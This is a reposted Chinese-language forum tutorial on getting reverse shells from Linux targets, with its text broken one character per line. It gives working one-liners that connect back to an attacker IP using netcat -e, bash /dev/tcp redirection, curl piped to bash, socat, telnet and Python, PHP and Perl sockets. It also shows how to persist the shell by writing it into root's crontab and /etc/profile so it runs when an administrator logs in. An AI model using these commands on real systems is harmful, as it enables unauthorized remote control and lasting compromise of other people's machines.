论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
IOT
[18551] 2021-04-24_反弹Shell,看这一篇就够了
文档创建者:
s7ckTeam
浏览次数:
3
最后更新:
2025-01-18
IOT
3 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2021-04-24_反弹Shell,看这一篇就够了
反
弹
S
h
e
l
l
,
看
这
一
篇
就
够
了
原
创
W
H
O
A
M
I
H
A
C
K
学
习
呀
2
0
2
1
-
0
4
-
2
4
前
言
前
言
在
渗
透
测
试
实
战
中
,
我
们
经
常
会
遇
到
L
i
n
u
x
系
统
环
境
,
而
让
L
i
n
u
x
主
机
反
弹
个
s
h
e
l
l
是
再
常
见
不
过
的
事
情
了
。
反
弹
s
h
e
l
l
,
就
是
攻
击
机
监
听
在
某
个
T
C
P
/
U
D
P
端
口
为
服
务
端
,
目
标
机
主
动
发
起
请
求
到
攻
击
机
监
听
的
端
口
,
并
将
其
命
令
行
的
输
入
输
出
转
到
攻
击
机
。
正
向
连
接
正
向
连
接
假
设
我
们
攻
击
了
一
台
机
器
,
打
开
了
该
机
器
的
一
个
端
口
,
攻
击
者
在
自
己
的
机
器
去
连
接
目
标
机
器
(
目
标
i
p
:
目
标
机
器
端
口
)
,
这
是
比
较
常
规
的
形
式
,
我
们
叫
做
正
向
连
接
。
远
程
桌
面
、
w
e
b
服
务
、
s
s
h
、
t
e
l
n
e
t
等
等
都
是
正
向
连
接
。
反
向
连
接
反
向
连
接
那
么
为
什
么
要
用
反
弹
s
h
e
l
l
呢
?
反
弹
s
h
e
l
l
通
常
适
用
于
如
下
几
种
情
况
:
•
目
标
机
因
防
火
墙
受
限
,
目
标
机
器
只
能
发
送
请
求
,
不
能
接
收
请
求
。
•
目
标
机
端
口
被
占
用
。
•
目
标
机
位
于
局
域
网
,
或
I
P
会
动
态
变
化
,
攻
击
机
无
法
直
接
连
接
。
•
对
于
病
毒
,
木
马
,
受
害
者
什
么
时
候
能
中
招
,
对
方
的
网
络
环
境
是
什
么
样
的
,
什
么
时
候
开
关
机
,
都
是
未
知
的
。
•
.
.
.
.
.
.
对
于
以
上
几
种
情
况
,
我
们
是
无
法
利
用
正
向
连
接
的
,
要
用
反
向
连
接
。
那
么
反
向
连
接
就
很
好
理
解
了
,
就
是
攻
击
者
指
定
服
务
端
,
受
害
者
主
机
主
动
连
接
攻
击
者
的
服
务
端
程
序
,
即
为
反
向
连
接
。
反
弹
s
h
e
l
l
的
方
式
有
很
多
,
那
具
体
要
用
哪
种
方
式
还
需
要
根
据
目
标
主
机
的
环
境
来
确
定
,
比
如
目
标
主
机
上
如
果
安
装
有
n
e
t
c
a
t
,
那
我
们
就
可
以
利
用
n
e
t
c
a
t
反
弹
s
h
e
l
l
,
如
果
具
有
p
y
t
h
o
n
环
境
,
那
我
们
可
以
利
用
p
y
t
h
o
n
反
弹
s
h
e
l
l
。
如
果
具
有
p
h
p
环
境
,
那
我
们
可
以
利
用
p
h
p
反
弹
s
h
e
l
l
。
利
用
利
用
n
e
t
c
a
t
反
弹
反
弹
s
h
e
l
l
N
e
t
c
a
t
是
一
款
简
单
的
U
n
i
x
工
具
,
使
用
U
D
P
和
T
C
P
协
议
。
它
是
一
个
可
靠
的
容
易
被
其
他
程
序
所
启
用
的
后
台
操
作
工
具
,
同
时
它
也
被
用
作
网
络
的
测
试
工
具
或
黑
客
工
具
。
使
用
它
你
可
以
轻
易
的
建
立
任
何
连
接
。
目
前
,
默
认
的
各
个
l
i
n
u
x
发
行
版
本
已
经
自
带
了
n
e
t
c
a
t
工
具
包
,
但
是
可
能
由
于
处
于
安
全
考
虑
原
生
版
本
的
n
e
t
c
a
t
带
有
可
以
直
接
发
布
与
反
弹
本
地
s
h
e
l
l
的
功
能
参
数
-
e
都
被
阉
割
了
,
所
以
我
们
需
要
自
己
手
动
下
载
二
进
制
安
装
包
,
安
装
的
如
下
:
安
装
完
原
生
版
本
的
n
e
t
c
a
t
工
具
后
,
便
有
了
n
e
t
c
a
t
-
e
参
数
,
我
们
就
可
以
将
本
地
b
a
s
h
反
弹
到
攻
击
机
上
了
。
攻
击
机
开
启
本
地
监
听
:
攻
击
机
开
启
本
地
监
听
:
目
标
机
主
动
连
接
攻
击
机
:
目
标
机
主
动
连
接
攻
击
机
:
执
行
效
果
如
下
:
w
g
e
t
h
t
t
p
s
:
/
/
n
c
h
c
.
d
l
.
s
o
u
r
c
e
f
o
r
g
e
.
n
e
t
/
p
r
o
j
e
c
t
/
n
e
t
c
a
t
/
n
e
t
c
a
t
/
0
.
7
.
1
/
n
e
t
c
a
t
-
0
.
7
.
1
.
t
a
r
.
g
z
t
a
r
-
x
v
z
f
n
e
t
c
a
t
-
0
.
7
.
1
.
t
a
r
.
g
z
.
/
c
o
n
f
i
g
u
r
e
m
a
k
e
&
&
m
a
k
e
i
n
s
t
a
l
l
m
a
k
e
c
l
e
a
n
n
e
t
c
a
t
-
l
v
v
p
2
3
3
3
n
e
t
c
a
t
4
7
.
x
x
x
.
x
x
x
.
7
2
2
3
3
3
-
e
/
b
i
n
/
b
a
s
h
#
n
c
<
攻
击
机
I
P
>
<
攻
击
机
监
听
的
端
口
>
-
e
/
b
i
n
/
b
a
s
h
i
m
a
g
e
-
2
0
2
1
0
1
2
7
1
9
2
5
4
0
2
2
8
利
用
利
用
B
a
s
h
反
弹
反
弹
s
h
e
l
l
个
人
感
觉
反
弹
s
h
e
l
l
最
好
用
的
方
法
就
是
使
用
b
a
s
h
结
合
重
定
向
方
法
的
一
句
话
,
具
体
命
令
如
下
:
以
下
是
针
对
B
a
s
h
反
弹
一
句
话
进
行
了
拆
分
说
明
:
命
令
命
令
命
令
详
解
命
令
详
解
b
a
s
h
-
i
产
生
一
个
b
a
s
h
交
互
环
境
。
>
&
将
联
合
符
号
前
面
的
内
容
与
后
面
相
结
合
,
然
后
一
起
重
定
向
给
后
者
。
/
d
e
v
/
t
c
p
/
4
7
.
x
x
x
.
x
x
x
.
7
2
/
2
3
3
3
L
i
n
u
x
环
境
中
所
有
的
内
容
都
是
以
文
件
的
形
式
存
在
的
,
其
实
大
家
一
看
见
这
个
内
容
就
能
明
白
,
就
是
让
目
标
主
机
与
攻
击
机
4
7
.
x
x
x
.
x
x
x
.
7
2
的
2
3
3
3
端
口
建
立
一
个
t
c
p
连
接
。
0
>
&
1
将
标
准
输
入
与
标
准
输
出
的
内
容
相
结
合
,
然
后
重
定
向
给
前
面
标
准
输
出
的
内
容
。
B
a
s
h
反
弹
一
句
完
整
的
解
读
过
程
就
是
:
B
a
s
h
产
生
了
一
个
交
互
环
境
和
本
地
主
机
主
动
发
起
与
攻
击
机
2
3
3
3
端
口
建
立
的
连
接
(
即
T
C
P
2
3
3
3
会
话
连
接
)
相
结
合
,
然
后
在
重
定
向
个
T
C
P
2
3
3
3
会
话
连
接
,
最
后
将
用
户
键
盘
输
入
与
用
户
标
准
输
出
相
结
合
再
次
重
定
向
给
一
个
标
准
的
输
出
,
即
得
到
一
个
B
a
s
h
反
弹
环
境
。
b
a
s
h
-
i
>
&
/
d
e
v
/
t
c
p
/
4
7
.
x
x
x
.
x
x
x
.
7
2
/
2
3
3
3
0
>
&
1
或
b
a
s
h
-
c
"
b
a
s
h
-
i
>
&
/
d
e
v
/
t
c
p
/
4
7
.
x
x
x
.
x
x
x
.
7
2
/
2
3
3
3
0
>
&
1
"
#
b
a
s
h
-
i
>
&
/
d
e
v
/
t
c
p
/
攻
击
机
I
P
/
攻
击
机
端
口
0
>
&
1
攻
击
机
开
启
本
地
监
听
:
攻
击
机
开
启
本
地
监
听
:
目
标
机
主
动
连
接
攻
击
机
:
目
标
机
主
动
连
接
攻
击
机
:
执
行
效
果
如
下
:
C
u
r
l
配
合
配
合
B
a
s
h
反
弹
反
弹
s
h
e
l
l
这
里
操
作
也
很
简
单
,
借
助
了
L
i
n
u
x
中
的
管
道
。
首
先
,
在
攻
击
者
v
p
s
的
w
e
b
目
录
里
面
创
建
一
个
i
n
d
e
x
文
件
(
i
n
d
e
x
.
p
h
p
或
i
n
d
e
x
.
h
t
m
l
)
,
内
容
如
下
:
并
开
启
2
3
3
3
端
口
的
监
听
。
然
后
再
目
标
机
上
执
行
如
下
,
即
可
反
弹
s
h
e
l
l
:
执
行
效
果
如
下
:
n
c
-
l
v
v
p
2
3
3
3
b
a
s
h
-
i
>
&
/
d
e
v
/
t
c
p
/
4
7
.
x
x
x
.
x
x
x
.
7
2
/
2
3
3
3
0
>
&
1
b
a
s
h
-
i
>
&
/
d
e
v
/
t
c
p
/
4
7
.
x
x
x
.
x
x
x
.
7
2
/
2
3
3
3
0
>
&
1
c
u
r
l
4
7
.
x
x
x
.
x
x
x
.
7
2
|
b
a
s
h
根
据
c
u
r
l
命
令
和
L
i
n
u
x
管
道
的
作
用
,
你
不
难
理
解
这
其
中
的
原
理
。
C
u
r
l
配
合
B
a
s
h
反
弹
s
h
e
l
l
的
方
式
在
C
T
F
题
目
中
经
常
出
现
,
中
的
I
P
可
以
是
任
意
格
式
的
,
可
以
是
十
进
制
、
十
六
进
制
、
八
进
制
、
二
进
制
等
等
。
将
反
弹
将
反
弹
s
h
e
l
l
的
命
令
写
入
定
时
任
务
的
命
令
写
入
定
时
任
务
我
们
可
以
在
目
标
主
机
的
定
时
任
务
文
件
中
写
入
一
个
反
弹
s
h
e
l
l
的
脚
本
,
但
是
前
提
是
我
们
必
须
要
知
道
目
标
主
机
当
前
的
用
户
名
是
哪
个
。
因
为
我
们
的
反
弹
s
h
e
l
l
命
令
是
要
写
在
内
的
,
所
以
必
须
要
知
道
远
程
主
机
当
前
的
用
户
名
。
否
则
就
不
能
生
效
。
比
如
,
当
前
用
户
名
为
r
o
o
t
,
我
们
就
要
将
下
面
内
容
写
入
到
/
v
a
r
/
s
p
o
o
l
/
c
r
o
n
/
r
o
o
t
中
。
(
c
e
n
t
o
s
系
列
主
机
)
比
如
,
当
前
用
户
名
为
r
o
o
t
,
我
们
就
要
将
下
面
内
容
写
入
到
/
v
a
r
/
s
p
o
o
l
/
c
r
o
n
/
c
r
o
n
t
a
b
s
/
r
o
o
t
中
。
(
D
e
b
i
a
n
/
U
b
u
n
t
u
系
列
主
机
)
将
反
弹
将
反
弹
s
h
e
l
l
的
命
令
写
入
的
命
令
写
入
/
e
t
c
/
p
r
o
f
i
l
e
文
件
文
件
将
以
下
反
弹
s
h
e
l
l
的
命
写
入
/
e
t
c
/
p
r
o
f
i
l
e
文
件
中
,
/
e
t
c
/
p
r
o
f
i
l
e
中
的
内
容
会
在
用
户
打
开
b
a
s
h
窗
口
时
执
行
。
i
m
a
g
e
-
2
0
2
1
0
1
2
7
2
2
1
7
1
8
7
4
4
当
目
标
主
机
管
理
员
远
程
连
接
该
主
机
时
,
就
会
执
行
该
命
令
,
成
功
获
得
目
标
机
的
s
h
e
l
l
:
c
u
r
l
I
P
|
b
a
s
h
/
v
a
r
/
s
p
o
o
l
/
c
r
o
n
/
[
c
r
o
n
t
a
b
s
]
/
<
u
s
e
r
n
a
m
e
>
*
/
1
*
*
*
*
/
b
i
n
/
b
a
s
h
-
i
>
&
/
d
e
v
/
t
c
p
/
4
7
.
x
x
x
.
x
x
x
.
7
2
/
2
3
3
3
0
>
&
1
#
每
隔
一
分
钟
,
向
4
7
.
x
x
x
.
x
x
x
.
7
2
的
2
3
3
3
号
端
口
发
送
s
h
e
l
l
/
b
i
n
/
b
a
s
h
-
i
>
&
/
d
e
v
/
t
c
p
/
4
7
.
x
x
x
.
x
x
x
.
7
2
/
2
3
3
3
0
>
&
1
&
#
最
后
面
那
个
&
为
的
是
防
止
管
理
员
无
法
输
入
命
令
利
用
利
用
S
o
c
a
t
反
弹
反
弹
s
h
e
l
l
S
o
c
a
t
是
L
i
n
u
x
下
一
个
多
功
能
的
网
络
工
具
,
名
字
来
由
是
”
S
o
c
k
e
t
C
A
T
”
,
因
此
可
以
看
出
它
是
基
于
s
o
c
k
e
t
的
,
其
功
能
与
n
e
t
c
a
t
类
似
,
不
过
据
说
可
以
看
做
n
e
t
c
a
t
的
加
强
版
,
事
实
上
的
确
也
是
如
此
。
我
这
里
只
简
单
的
介
绍
下
怎
么
使
用
它
开
启
监
听
和
反
弹
s
h
e
l
l
,
其
他
详
细
内
容
可
以
参
见
这
里
:
h
t
t
p
:
/
/
b
r
i
e
f
l
y
x
.
m
e
/
2
0
1
5
/
l
i
n
u
x
-
t
o
o
l
s
/
s
o
c
a
t
-
i
n
t
r
o
d
u
c
t
i
o
n
/
安
装
S
o
c
a
t
的
方
法
很
简
单
:
•
U
b
u
n
t
u
等
可
以
直
接
使
用
命
令
进
行
安
装
•
也
可
以
去
官
网
下
载
源
码
包
:
h
t
t
p
:
/
/
w
w
w
.
d
e
s
t
-
u
n
r
e
a
c
h
.
o
r
g
/
s
o
c
a
t
攻
击
机
开
启
本
地
监
听
:
攻
击
机
开
启
本
地
监
听
:
目
标
机
主
动
连
接
攻
击
机
:
目
标
机
主
动
连
接
攻
击
机
:
执
行
效
果
如
下
:
a
p
t
-
g
e
t
i
n
s
t
a
l
l
s
o
c
a
t
s
o
c
a
t
T
C
P
-
L
I
S
T
E
N
:
2
3
3
3
-
或
n
c
-
l
v
v
p
2
3
3
3
s
o
c
a
t
t
c
p
-
c
o
n
n
e
c
t
:
4
7
.
x
x
x
.
x
x
x
.
7
2
:
2
3
3
3
e
x
e
c
:
'
b
a
s
h
-
l
i
'
,
p
t
y
,
s
t
d
e
r
r
,
s
e
t
s
i
d
,
s
i
g
i
n
t
,
s
a
n
e
利
用
利
用
T
e
l
n
e
t
反
弹
反
弹
s
h
e
l
l
当
n
c
和
/
d
e
v
/
t
c
p
不
可
用
,
且
目
标
主
机
和
攻
击
机
上
支
持
T
e
l
n
e
t
服
务
时
,
我
们
可
以
使
用
T
e
l
n
e
t
反
弹
s
h
e
l
l
。
方
法
一
方
法
一
攻
击
机
开
启
本
地
监
听
:
攻
击
机
开
启
本
地
监
听
:
目
标
机
主
动
连
接
攻
击
机
:
目
标
机
主
动
连
接
攻
击
机
:
执
行
效
果
如
下
:
n
c
-
l
v
v
p
2
3
3
3
m
k
n
o
d
a
p
;
t
e
l
n
e
t
4
7
.
x
x
x
.
x
x
x
.
7
2
2
3
3
3
0
<
a
|
/
b
i
n
/
b
a
s
h
1
>
a
方
法
二
方
法
二
攻
击
机
需
要
开
启
两
个
本
地
监
听
:
攻
击
机
需
要
开
启
两
个
本
地
监
听
:
目
标
机
主
动
连
接
攻
击
机
:
目
标
机
主
动
连
接
攻
击
机
:
n
c
-
l
v
v
p
2
3
3
3
n
c
-
l
v
v
p
4
0
0
0
t
e
l
n
e
t
4
7
.
1
0
1
.
5
7
.
7
2
2
3
3
3
|
/
b
i
n
/
b
a
s
h
|
t
e
l
n
e
t
4
7
.
1
0
1
.
5
7
.
7
2
4
0
0
0
如
上
图
所
示
,
获
得
s
h
e
l
l
后
,
在
攻
击
机
2
3
3
3
端
口
的
终
端
上
输
入
的
命
令
会
在
目
标
机
上
执
行
,
执
行
的
回
显
将
通
过
4
0
0
0
端
口
的
终
端
显
示
出
来
。
各
种
脚
本
反
弹
各
种
脚
本
反
弹
s
h
e
l
l
P
y
t
h
o
n
脚
本
反
弹
脚
本
反
弹
s
h
e
l
l
当
目
标
主
机
上
有
p
y
t
h
o
n
环
境
时
,
我
们
可
以
用
P
y
t
h
o
n
来
反
弹
s
h
e
l
l
。
P
y
t
h
o
n
在
现
在
一
般
发
行
版
L
i
n
u
x
系
统
中
都
会
自
带
,
所
以
使
用
起
来
也
较
为
方
便
,
即
使
没
有
安
装
,
我
们
手
动
安
装
也
很
方
便
。
攻
击
机
开
启
本
地
监
听
:
攻
击
机
开
启
本
地
监
听
:
目
标
机
主
动
连
接
攻
击
机
:
目
标
机
主
动
连
接
攻
击
机
:
执
行
效
果
如
下
:
p
h
p
脚
本
反
弹
脚
本
反
弹
s
h
e
l
l
当
目
标
主
机
上
有
p
h
p
环
境
时
,
我
们
可
以
用
p
h
p
来
反
弹
s
h
e
l
l
。
攻
击
机
开
启
本
地
监
听
:
攻
击
机
开
启
本
地
监
听
:
n
c
-
l
v
v
p
2
3
3
3
p
y
t
h
o
n
-
c
'
i
m
p
o
r
t
s
o
c
k
e
t
,
s
u
b
p
r
o
c
e
s
s
,
o
s
;
s
=
s
o
c
k
e
t
.
s
o
c
k
e
t
(
s
o
c
k
e
t
.
A
F
_
I
N
E
T
,
s
o
c
k
e
t
.
S
O
C
K
_
S
T
R
E
A
M
)
;
s
.
c
o
n
n
e
c
t
(
(
"
4
7
.
x
x
x
.
x
x
x
.
7
2
"
,
2
3
3
3
)
)
;
o
s
.
d
u
p
2
(
s
.
f
i
l
e
n
o
(
)
,
0
)
;
o
s
.
d
u
p
2
(
s
.
f
i
l
e
n
o
(
)
,
1
)
;
o
s
.
d
u
p
2
(
s
.
f
i
l
e
n
o
(
)
,
2
)
;
p
=
s
u
b
p
r
o
c
e
s
s
.
c
a
l
l
(
[
"
/
b
i
n
/
s
h
"
,
"
-
i
"
]
)
;
'
n
c
-
l
v
v
p
2
3
3
3
目
标
机
主
动
连
接
攻
击
机
:
目
标
机
主
动
连
接
攻
击
机
:
P
e
r
l
脚
本
反
弹
脚
本
反
弹
s
h
e
l
l
当
目
标
主
机
上
有
p
e
r
l
环
境
时
,
我
们
可
以
用
p
e
r
l
来
反
弹
s
h
e
l
l
。
攻
击
机
开
启
本
地
监
听
:
攻
击
机
开
启
本
地
监
听
:
目
标
机
主
动
连
接
攻
击
机
:
目
标
机
主
动
连
接
攻
击
机
:
执
行
效
果
如
下
:
R
u
b
y
脚
本
反
弹
脚
本
反
弹
s
h
e
l
l
当
目
标
主
机
上
有
r
u
b
y
环
境
时
,
我
们
可
以
用
r
u
b
y
来
反
弹
s
h
e
l
l
。
攻
击
机
开
启
本
地
监
听
:
攻
击
机
开
启
本
地
监
听
:
目
标
机
主
动
连
接
攻
击
机
:
目
标
机
主
动
连
接
攻
击
机
:
p
h
p
-
r
'
$
s
o
c
k
=
f
s
o
c
k
o
p
e
n
(
"
4
7
.
x
x
x
.
x
x
x
.
7
2
"
,
2
3
3
3
)
;
e
x
e
c
(
"
/
b
i
n
/
s
h
-
i
<
&
3
>
&
3
2
>
&
3
"
)
;
'
n
c
-
l
v
v
p
2
3
3
3
p
e
r
l
-
e
'
u
s
e
S
o
c
k
e
t
;
$
i
=
"
4
7
.
1
0
1
.
5
7
.
7
2
"
;
$
p
=
2
3
3
3
;
s
o
c
k
e
t
(
S
,
P
F
_
I
N
E
T
,
S
O
C
K
_
S
T
R
E
A
M
,
g
e
t
p
r
o
t
o
b
y
n
a
m
e
(
"
t
c
p
"
)
)
;
i
f
(
c
o
n
n
e
c
t
(
S
,
s
o
c
k
a
d
d
r
_
i
n
(
$
p
,
i
n
e
t
_
a
t
o
n
(
$
i
)
)
)
)
{
o
p
e
n
(
S
T
D
I
N
,
"
>
&
S
"
)
;
o
p
e
n
(
S
T
D
O
U
T
,
"
>
&
S
"
)
;
o
p
e
n
(
S
T
D
E
R
R
,
"
>
&
S
"
)
;
e
x
e
c
(
"
/
b
i
n
/
s
h
-
i
"
)
;
}
;
'
n
c
-
l
v
v
p
2
3
3
3
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页